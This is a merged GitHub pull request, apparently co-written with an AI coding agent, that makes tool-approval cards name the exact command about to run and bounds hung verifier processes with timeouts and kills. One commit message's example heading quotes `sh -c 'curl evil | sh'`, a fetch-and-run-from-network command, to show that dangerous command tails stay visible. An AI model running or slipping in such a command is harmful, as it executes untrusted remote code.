fix(runtime): approved run_verifiers no longer hangs; approval cards say what will happen (0.10.1) - #6496
Merged
Conversation
Desktop QA 2026-09-23 bug 3: approval cards read "Use browser from
plugin-12-computer-use-computer" and "Use the run_verifiers tool" when the
agent was about to open field-guide.html and launch headless Chrome. The
Engine builds the heading (approval_summary) from the tool name, so the
desktop and the TUI both showed it.
- run_verifiers names what will run: one command reads
"Run `Google Chrome --headless ...`"; several read "Run 3 checks: a, b
(+1 more)". run_tests reads "Run `cargo test <args>`".
- MCP headings read the arguments and name the server the way a person
would. A plugin-qualified key resolves through
split_qualified_plugin_server_name ("Computer Use", never
plugin-12-...), and a _ inside a plugin name no longer splits it.
Computer-use verbs whichever server provides them: browser
start/navigate becomes "Open field-guide.html in a controlled browser"
(file:// inside the workspace shows the relative path; outside, the
decoded absolute path). Also open_application, list_apps, screenshot,
type, key, kill_app, app_script and request_access. Other tools become
"<Humanized tool>: <first of path|url|command|query|name|...>".
- Computer Use plugin: the file:// refusal now points to open_in_app, or
to serving the file over http://127.0.0.1. The policy itself is
unchanged.
Regression tests, run against the old code (origin/main approval_summary.rs
with only the new tests appended):
computer_use_browser_names_the_page_not_the_wire_key FAILED
left: "Use browser from plugin-12-computer-use-computer"
run_verifiers_names_what_will_run FAILED
left: "Use the run_verifiers tool"
After: cargo test -p codewhale-tui --lib approval_summary: 5 passed, 0 failed.
node --test tests/browser-cdp.test.mjs: 14/14 pass (the new assertion fails
on the old browser-cdp.mjs).
Broader filter "approval plugins::builtin": 316 passed, 2 failed. One
failure is a peer's in-progress bug-1 test in runtime_threads/tests.rs
(not in this commit). The other is a timing test,
task_manager pending_approval_suspends_idle, which passes when run alone.
Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Dbrqq9Lkqrf3b7VTrBjjTE
…eeps client tools
A review of 2262976ba (desktop QA 2026-09-23 bug 3) found that the heading
a person reads before approving could show less than what would run:
- One run_verifiers command showed only the program's basename, so
/tmp/x/cargo read as "cargo".
- Several commands showed only the model's labels ("lint, unit-tests").
- Arguments were joined with plain spaces, so ["a b"] read the same as
["a", "b"].
- A backtick inside a command ended the `...` span early.
- A long command lost its tail (| sh) at the cut.
- On a generic MCP call, {path, command} was headed by the path.
Changes:
- A program in a PATH directory shows as its bare name. Any other program
shows exactly as given.
- Arguments are shell-quoted with shlex::try_join, which verifier.rs
already uses.
- With several checks, each program leads and the label follows:
"Run 2 checks: `/tmp/x/cargo clippy` (lint), `sh -c 'curl evil | sh'` (unit-tests)".
- A command that contains a backtick is fenced in `` ... ``.
- Commands are clipped in the middle, so both the program and the tail stay
visible.
- argument_hint looks at `command` first.
The retry route (POST /v1/threads/{id}/retry) now takes an optional
dynamic_tools list and passes it to the new turn. Before, a retried desktop
turn lost open_in_app. The desktop sends it as of codewhale-app 6b30b8b.
Engine-started turns (goal continuation, agent mail) still carry no client
tools, on purpose: no client may be there to answer, and an unanswered
call would hold the turn for DYNAMIC_TOOL_RESULT_TIMEOUT.
Tests (cargo test -j 4 -p codewhale-tui --lib -- approval_summary
runtime_api::tests::retry_endpoint): 7 passed, 0 failed.
- New approval_summary::tests::approval_headings_never_hide_what_runs.
Against HEAD's heading code it FAILS: left "Run `cargo test`", right
"Run `/tmp/x/cargo test`".
- run_verifiers_names_what_will_run is updated for the full program path.
- The retry pass-through has no dedicated Engine test. The existing retry
endpoint test passes, and the desktop test asserts the request body.
Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Dbrqq9Lkqrf3b7VTrBjjTE
…never trails the decision
DESKTOP-QA-20260923 bug 1 ("approval stays stuck as still waiting after
Allow once; only Stop recovers"). The approval was delivered and applied
(approval_receipts: approved_once 70s after asked). Two Engine defects
made it look stuck:
1. run_verifiers gates ran `Command::output()` inside spawn_blocking with
no timeout, no stdin null and no kill path. Headless Chrome
(--print-to-pdf / --dump-dom) writes its output and never exits, so the
approved tool blocked until Stop, and Stop orphaned Chrome
(cleanup_confirmed=false). Gates are now async futures of the call:
stdin null, own process group, per-gate wall-clock timeout (built-in
600s; custom 180s default, `timeout_ms` up to 1800s), group SIGKILL on
timeout, on a helper holding the pipes open 2s after the leader exits,
and on drop (Stop). Partial output is kept.
2. The runtime relay parked on the external decision without draining
engine events, so the engine's 60s "Still waiting for tool approval"
heartbeat was sequenced after approval.decided (capture seq 31908 after
31907) and read as a live claim. The relay now keeps draining Status
while the card is open (other events are held for the main loop in
order), and drops an approval-wait heartbeat for a call it already
settled as a backstop. Status persistence is one helper.
Regression tests (fail before, pass after):
- tools::verifier ... run_verifiers_hung_gate_times_out_and_kills_its_process_group
before: FAILED (timeout_ms rejected; no bound exists)
- tools::verifier ... run_verifiers_dropped_on_stop_kills_running_gates
before: FAILED "verifier gate processes still running: [21887, 21886]"
- runtime_threads::tests::approval_wait_heartbeat_is_never_sequenced_after_the_decision
before: FAILED heartbeat at seq 8 after approval.decided
Scoped run after: cargo test -p codewhale-tui --lib -- run_verifiers
approval_wait tools::verifier core::events approval_required: 24 passed,
0 failed. Wider `-- approval status verifier`: 584 passed, 1 failed
(task_manager pending_approval_suspends_idle_... timing test under load;
passes 3/3 in isolation, does not touch monitor_turn). Full suite and
npm test/check:web not run (Engine-only change; CI owns the full run).
clippy: no diagnostics in touched files.
Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Dbrqq9Lkqrf3b7VTrBjjTE
…d refuses it Review follow-up to 4f7e1d41e (DESKTOP-QA-20260923 bug 1). - Built-in gates were hard-capped at 600s with no override, so a `full` Rust/Node run on a large workspace that used to pass after >10 min would now fail as timed out. `run_verifiers` takes a call-level `timeout_ms` (1..=1_800_000) that bounds every built-in gate; custom gates keep their own `timeout_ms` (default 180s). Gate plans are built from one `GateTimeouts` value; the range check is one helper. - The schema advertised custom `timeout_ms` for background gates, but background gates are shell jobs and the shell manager never enforces a wall-clock bound on background jobs (the BACKGROUND_GATE_TIMEOUT_MS it is passed is unused; a 1.5s timeout was still Running after 30s). Rather than advertise a bound that cannot hold, `background: true` with any `timeout_ms` is now refused as invalid input, and the schema says so. - The approval relay's settled-call heartbeat filter now lives in `publish_status_item`, so the status drained during the approval wait and the main loop apply the same check. Tests (both fail with the fix mutated out, pass with it): - tools::verifier::tests::built_in_gates_take_the_call_timeout_and_custom_gates_keep_their_own mutated: "rust-fmt left: 600s right: 1800s" - tools::verifier::tests::run_verifiers_background_refuses_timeout_ms_it_cannot_enforce mutated: background call with timeout_ms started a shell job cargo test -j 4 -p codewhale-tui --lib -- run_verifiers approval_wait tools::verifier core::events approval_required built_in_gates: 26 passed, 0 failed. Wider `-- approval status verifier runtime_threads`: 792 passed, 0 failed, 2 ignored. rustfmt --check clean; clippy: no diagnostics in touched files (17 pre-existing elsewhere). Full suite and npm test/check:web not run (Engine-only change). Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01Dbrqq9Lkqrf3b7VTrBjjTE
added 3 commits
September 24, 2026 20:51
…t will run Merging main into the desktop-QA branch. The card still says what will run, and the sentence around a command, path or query stays translated.
Refs #6496 The generated page drifted from docs/INSTALL.md. This does not change the approval fix.
Refs #6496. Use the existing localized run-command template, preserving backticks and the tail of long commands, and retain translated generic MCP/tool headings outside English. This repairs both approval-summary failures on Ubuntu and Windows CI. Focused local check: cargo test -p codewhale-tui --lib --locked tools::approval_summary::tests, 7 passed; 0 failed; 13396 filtered out. cargo fmt --all -- --check and git diff --check passed. Existing macOS __eh_frame linker warning appeared.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Refs #6496
Summary
Fixes the desktop QA "stuck approval" report for 0.10.1: after Allow once on
run_verifiers, the transcript showed "Still waiting for tool approval oncall_…|…" and the run stayed on Working until Stop.Root cause (from the capture's persisted events and receipts): the approval was delivered and accepted (
approval.decidedallow, receiptapproved_once). The approved tool then hung, and a stale heartbeat made it look like a stale approval.run_verifiersgates ran headless Chrome (--print-to-pdf/--dump-domon afile://page). Chrome 154 on macOS writes its output and never exits.run_gate(crates/tui/src/tools/verifier.rs) calledCommand::output()inspawn_blockingwith no timeout, nostdin(null), no kill path, so Stop could not reap it ("cleanup unconfirmed").stdinnull in their own process group, have a wall-clock timeout (timeout_msper call, default bound), are killed as a group on timeout, and are killed when the turn stops. Background gates refusetimeout_ms(the shell manager has no background timeout yet; noted, not fixed here).runtime_threads.rsblocked on the external decision inside the engine-event loop, so the 60 s wait heartbeat was persisted afterapproval.decided.The capture ran Engine 0.10.0 (
820d87792), which also lacks33132b51a(approval-wait rows marked internal). Desktop users get all of this once 0.10.1 ships and the desktop Engine pin is bumped.Testing
Pre-rebase, in the fix worktree (rebased cleanly onto current
mainbefore push; CI re-runs everything):Before the fix, the new tests fail:
run_verifiers_dropped_on_stop_kills_running_gates(gate processes left running),run_verifiers_hung_gate_times_out_and_kills_its_process_group,approval_wait_heartbeat_is_never_sequenced_after_the_decision, and 2approval_summarycases.After:
cargo test -j 4 -p codewhale-tui --lib -- run_verifiers approval_wait tools::verifier core::events approval_required built_in_gates→ 26 passed, 0 failed;-- approval status verifier runtime_threads→ 792 passed, 0 failed, 2 ignored;approval_summary→ 5 passed.A regression switch that disables the fix makes the new tests fail again.
Not run locally: full workspace suite, clippy with the CI allow list, a live Chrome/
/v1end-to-end run.cargo fmt --all -- --check(CI)cargo clippy --workspace --all-targets --all-features --locked(CI)cargo test --workspace --all-features --locked(CI)Checklist
Intended for 0.10.1 (SHA-6705).
🤖 Generated with Claude Code
https://claude.ai/code/session_01Dbrqq9Lkqrf3b7VTrBjjTE